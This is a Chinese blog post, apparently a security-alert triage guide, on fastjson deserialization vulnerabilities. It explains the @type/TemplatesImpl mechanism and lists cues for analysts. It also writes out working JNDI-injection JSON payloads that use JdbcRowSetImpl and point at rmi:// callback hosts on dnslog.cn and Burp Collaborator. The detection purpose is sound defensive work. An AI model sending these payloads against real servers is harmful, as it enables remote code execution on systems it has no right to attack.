fastjson反序列化漏洞

 

fastjson漏洞利用原理

在请求包里面中发送恶意的json格式payload,漏洞在处理json对象的时候,没有对@type  字段进行过滤,从而导致攻击者可以传入恶意的TemplatesImpl类,而这个类有一个字段就是_bytecodes,有部分函数会根据这个_bytecodes生成java实例,这就达到fastjson通 过字段传入一个类,再通过这个类被生成时执行构造函数

 

 

初研判:

产生这个告警的时候着重查看原始事件里面的payload看是否有json格式的文件或者json的其他字段,或者看响应包里有无json格式或者fastjson,或者是否有_bytecodes 和dnslog关键字。

看是否会出现toJSONString() 和 parseObject() 方法关键字(这俩方法可以将 Java 对象与 JSON 相互转换)

告警示例图:

抓包登录界面添加了字符破环原始json数据发现为fastjson

d22f0cae8145430facc367f69c618a96.png

07424eaee82d43c2b302f3df27caad0e.png

fastjson反序列化相关payload

  {

    "a":{

    "@type":"java.lang.Class",

   "val":"com.sun.rowset.JdbcRowSetImpl"

   },

   "b":{

   "@type":"com.sun.rowset.JdbcRowSetImpl",

   "dataSourceName":"rmi://dnslog.cn/zcc",

   "autoCommit":true

   }

  }

 

  1. 驱动JdbcRowSetImpl库;
    2、通过设置dataSourceName属性传参给lookup()方法;
    3、通过设置autoCommit属性来触发执行最终的lookup()方法。
    按照上面的例子,就可以构造出:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://vvui5lzoq6556fmj4al3ighsrjxalz.burpcollaborator.net/Exploit","autoCommit":true}

着重查看标红关键字  rmi.class是Java的类文件,相较来说是恶意的

 

相关推荐

  1. shiro序列fastjson序列漏洞原理

    2024-04-11 17:42:04       48 阅读
  2. Fastjson 1.2.24序列漏洞(Vulhub)使用方法

    2024-04-11 17:42:04       23 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-04-11 17:42:04       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-04-11 17:42:04       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-04-11 17:42:04       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-04-11 17:42:04       20 阅读

热门阅读

  1. LeetCode -- 第 392 场周赛

    2024-04-11 17:42:04       18 阅读
  2. rollup 插件架构-驱动设计 PluginDriver

    2024-04-11 17:42:04       15 阅读
  3. 中国知网:学术资源的宝库与知识共享的平台

    2024-04-11 17:42:04       17 阅读
  4. 蓝桥杯 2022 省 B 洛谷 P8787 砍竹子

    2024-04-11 17:42:04       18 阅读
  5. 【蓝桥杯】快读&快写

    2024-04-11 17:42:04       17 阅读
  6. 漫步人生路

    2024-04-11 17:42:04       15 阅读
  7. Quarkus初探

    2024-04-11 17:42:04       13 阅读